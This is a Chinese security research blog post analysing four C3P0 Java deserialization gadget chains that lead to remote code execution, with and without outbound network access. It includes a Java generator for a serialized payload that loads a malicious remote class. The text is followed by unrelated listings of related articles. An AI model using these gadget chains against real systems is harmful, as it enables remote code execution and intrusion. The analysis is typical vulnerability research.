Java反序列化之C3P0利用链从出网到无需出网原理深入分析与实现

一颗小胡椒2021-10-15 06:14:14

引言

C3P0反序列化利用链是Java反序列化漏洞中比较经典的一条RCE利用链。但是相对诸如`CommonsCollections`、`CommonsBeanutils`这些常规利用链而言,大家的关注度还是要少一些。最近看到有大佬对C3P0利用链不出网做了一些研究,在此基础上,自己也系统地梳理一下各种姿势的C3P0利用链,包括:

  1. Java原生态反序列化利用链-远程加载恶意类
  2. Java原生态反序列化利用链改进-无需出网
  3. Json反序列化利用链-远程加载恶意类
  4. Json反序列化利用链-无需出网

这里将4个利用链的原理分析与具体实现分享给大家。

原生态利用链-远程加载恶意类

首先看下`ysoserial`对C3P0利用链的描述:

C3P0.java
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/C3P0.java

为了方便分析,这里构建一个基础研究环境,添加依赖项:

<dependencies>    <dependency>        <groupId>com.mchange</groupId>        <artifactId>C3P0</artifactId>        <version>0.9.5.2</version>    </dependency>    <dependency>        <groupId>org.javassist</groupId>        <artifactId>javassist</artifactId>        <version>3.25.0-GA</version>    </dependency></dependencies>

0x01 静态分析

深入分析`ysoserial`调用链:

* com.sun.jndi.rmi.registry.RegistryContext->lookup* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject* com.mchange.v2.C3P0.impl.PoolBackedDataSourceBase->readObject

`com.mchange.v2.C3P0.impl.PoolBackedDataSourceBase#readObject`:

首先从`ois`中取出`version`对象,然后再对`ois`进行反序列化操作,提取`IndirectlySerialized`对象(`com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized`继承于`IndirectlySerialized`),进入`com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized#getObject`函数:

可能很容易认为利用链是通过第85行的`lookup`函数触发的,后来实际调试过程中发现不对。代码走到第88行,进入函数`ReferenceableUtils.referenceToObject`:

当`Reference#getFactoryClassLocation`函数返回非空时,将通过`URLClassLoader`去远程加载类对象,在第51~52行完成实例化操作,所以我们可以构造一个远程恶意类,然后通过远程加载实现RCE。

0x02 构造过程

从上面分析可知,整个利用链起步于`com.mchange.v2.C3P0.impl.PoolBackedDataSourceBase#readObject`,刚好`com.mchange.v2.C3P0.impl.PoolBackedDataSourceBase`还存在一个`writeObject`反函数操作:

通过分析发现,关键的封装过程实际上位于异常处理部分,所以在生成载荷的过程中可以故意抛出一个异常,让其进入`catch`部分处理。这里可以考虑在第170行对`connectionPoolDataSource`进行序列化操作时,完成异常抛出,因此手动构造一个类`PoolDataSource`:

因为`PoolDataSource`没有继承系列化接口,所以在执行序列化操作时会抛出异常。核心代码如下:

public static  void main(String[]args)throws Exception{    String url="http://127.0.0.1:1024/";    String className="exploit";
    ConnectionPoolDataSource connectionPoolDataSource=new PoolDataSource(url,className);    PoolBackedDataSourceBase poolBackedDataSource=new PoolBackedDataSource();    poolBackedDataSource.setConnectionPoolDataSource(connectionPoolDataSource);
    util.serialize(poolBackedDataSource,"py1.ser");
}
private static class PoolDataSource implements ConnectionPoolDataSource, Referenceable {    private String className;    private String url;
    public PoolDataSource(String url,String className){        this.className = className;        this.url = url;    }
    public Reference getReference () throws NamingException {        return new Reference("C3P0", this.className, this.url);    }    public PrintWriter getLogWriter () throws SQLException {return null;}    public void setLogWriter ( PrintWriter out ) throws SQLException {}    public void setLoginTimeout ( int seconds ) throws SQLException {}    public int getLoginTimeout () throws SQLException {return 0;}    public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}    public PooledConnection getPooledConnection () throws SQLException {return null;}    public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}}

0x03 测试过程

构造测试案例,调试如下:

0x04 小结

上面构造的C3P0原生态反序列化利用链需要出网连接,通过加载远程恶意类触发RCE。从上面分析过程可以看出,加载远程恶意类并非通过`com.sun.jndi.rmi.registry.RegistryContext#lookup`来触发的,所以`ysoserial`上的注释描述是不正确的。

原生态利用链改进-无需出网

0x01 原理分析

在上面分析过程中提到了,当`Reference#getFactoryClassLocation`函数非空时,将通过`URLClassLoader`去远程加载类对象,那么如果`Reference#getFactoryClassLocation`函数返回`null`时,代码是如何走的呢?


可见,当变量`v11`为`null`时,将会加载当前线程的`ClassLoader`,所以如果在程序上下文环境中能够找到一个本地类,也是可以实现RCE的。这里大家很容易联想到veracode研究的高版本JDK利用本地Tomcat环境中的`javax.el.ELProcessor`实现JNDI注入的思路:

Exploiting JNDI Injections in Java
https://www.veracode.com/blog/research/exploiting-jndi-injections-java

当处于Tomcat8及更高版本环境时,也可以通过`javax.el.ELProcessor`来构建不出网利用链。

0x02 构造过程

将`Reference`对象替换成`ResourceRef`即可:

与上面设计`PoolDataSource`的思路类似,可以自定义`PoolDataSource2`类:

0x03 测试过程

0x04 小结

与高版本JDK实现JNDI注入类似,利用本地自带的类,也可以自构一个无需出网的C3P0利用链。上面的分析是基于Tomcat环境完成构建的,当存在其他可用的本地类时,也可以达到一样的效果。

Json利用链-远程加载恶意类

C3P0除了可以构建Java原生态反序列化利用链之外,还可以构建Json反序列化利用链,在`marshalsec`中包含2个利用链。

为了方便调试分析,这里引入FastJson:

<dependency>    <groupId>com.alibaba</groupId>    <artifactId>fastjson</artifactId>    <version>1.2.24</version></dependency>

0x01 原理分析

第一条是基于`com.mchange.v2.c3p0.JndiRefForwardingDataSource`来构建的。

`JndiRefForwardingDataSource#setLoginTimeout`函数:

进入`inner`函数:

进入`dereference`函数:


可以触发`lookup`,输入参数来源于`jndiName`参数,而`JndiRefForwardingDataSource`继承于`JndiRefDataSourceBase`,`JndiRefDataSourceBase#setJndiName`定义如下:

0x02 构造与测试

通过上面的分析,我们可以很容易构造出一个JNDI注入的利用链:

Json利用链改进-无需出网

0x01 原理分析

`marshalsec`中的第二条利用链是基于`com.mchange.v2.c3p0.WrapperConnectionPoolDataSource`完成。`WrapperConnectionPoolDataSource`继承于`WrapperConnectionPoolDataSourceBase`:

`WrapperConnectionPoolDataSourceBase#setUserOverridesAsString`函数:

触发`fireVetoableChange`事件处理,而在`WrapperConnectionPoolDataSource`中重写了`setUpPropertyListeners`函数:

当属性为`userOverridesAsString`时,将调用`parseUserOverridesAsString`函数,跟进:

对`userOverridesAsString`进行截取后,完成十六进制解码,然后调用`fromByteArray`函数:

最终触发了反序列化操作。

0x02 构造与测试

从上面分析可知,当环境中还存在一个Java原生态反序列化利用链时,可实现C3P0 Json反序列化无需出网RCE触发。这里再加入`commons-collections 3`:

<dependency>  <groupId>commons-collections</groupId>  <artifactId>commons-collections</artifactId>  <version>3.1</version></dependency>

序列化c3p0
本作品采用《CC 协议》,转载必须注明作者和本文链接
引言C3P0序列化利用链是Java反序列化漏洞中比较经典的一条RCE利用链。最近看到有大佬对C3P0利用链不出网做了一些研究,在此基础上,自己也系统地梳理一下各种姿势的C3P0利用链,包括:Java原生态反序列化利用链-远程加载恶意类Java原生态反序列化利用链改进-无需出网Json反序列化利用链-远程加载恶意类Json反序列化利用链-无需出网这里将4个利用链的原理分析与具体实现分享给大家。
C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。
前言以前做一些 Java 反序列化的题目时,我个人觉得侧重点在于readObject之后发生的事情:我们设法寻找可用的gadget并拼接,最后用一行xxx.writeObject()仅用来帮我们得到恶意数据。最近学习过程中做了几个非常有意思的题目,总结一下其中共同的思想就是对writeObject的流程下手,通过这部分流程中代码的一些问题来实现漏洞利用。solve先运行这个:package c3p0;public Reference getReference () throws NamingException { return null; }
Java安全中Groovy组件从反序列化到命令注入及绕过和在白盒中的排查方法
最近两个月我一直在做拒绝服务漏洞相关的时间,并收获了Spring和Weblogic的两个CVE但DoS漏洞终归是鸡肋洞,并没有太大的意义,比如之前有人说我只会水垃圾洞而已,所以在以后可能打算做其他方向早上和pyn3rd师傅聊天
浅谈Java反序列化漏洞
2022-05-17 17:48:01
Java序列化与反序列化Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。
java序列化与反序列化
2022-04-13 16:35:35
java反序列化指字节序列恢复到java对象。bit,则一个字最大为 FFFF。序列化是把对象转换成有序字节流,以便在网络上传输或者保存在本地文件中。序列化后的字节流保存了Java对象的状态以及相关的描述信息。序列化机制的核心作用就是对象状态的保存与重建。
序列化漏洞汇总
2022-01-07 22:17:34
漏洞出现在WLS Security组件,允许远程攻击者执行任意命令。攻击者通过向TCP端口7001发送T3协议流量,其中包含精心构造的序列化Java对象利用此漏洞。然后将其序列化,提交给未做安全检测的Java应用。Java应用在进行反序列化操作时,则会触发TransformedMap的变换函数,执行预设的命令。
序列化的核心思维旨在,将A变成B,最后再从B还原回A。 总之,在一些条件苛刻或者变化无常的环境与需求中,产生了这种灵活的可逆性的B的中间体。 理解不安全反序列化的最好方法是了解不同的编程语言如何实现序列化和反序列化。这里的序列化与反序列化指的是程序语言中自带的实施与实现。而非自创或者自定义的序列化与反序列化机制(比如:N进制形式hashmap树型等其他数据结构里的序列化中间体)。
攻击者可能利用此漏洞获取敏感信息或执行恶意代码。漏洞概述  漏洞名称Apache Dubbo多个反序列化漏洞漏洞编号CVE-2023-29234、CVE-2023-46279公开时间2023-12-15影响对象数量级十万级奇安信评级高危CVSS 评分7.7、8.1威胁类型信息泄露、代码执行利用可能性中POC状态未公开在野利用状态未发现EXP状态未公开技术细节状态未公开危害描述:
一颗小胡椒
暂无描述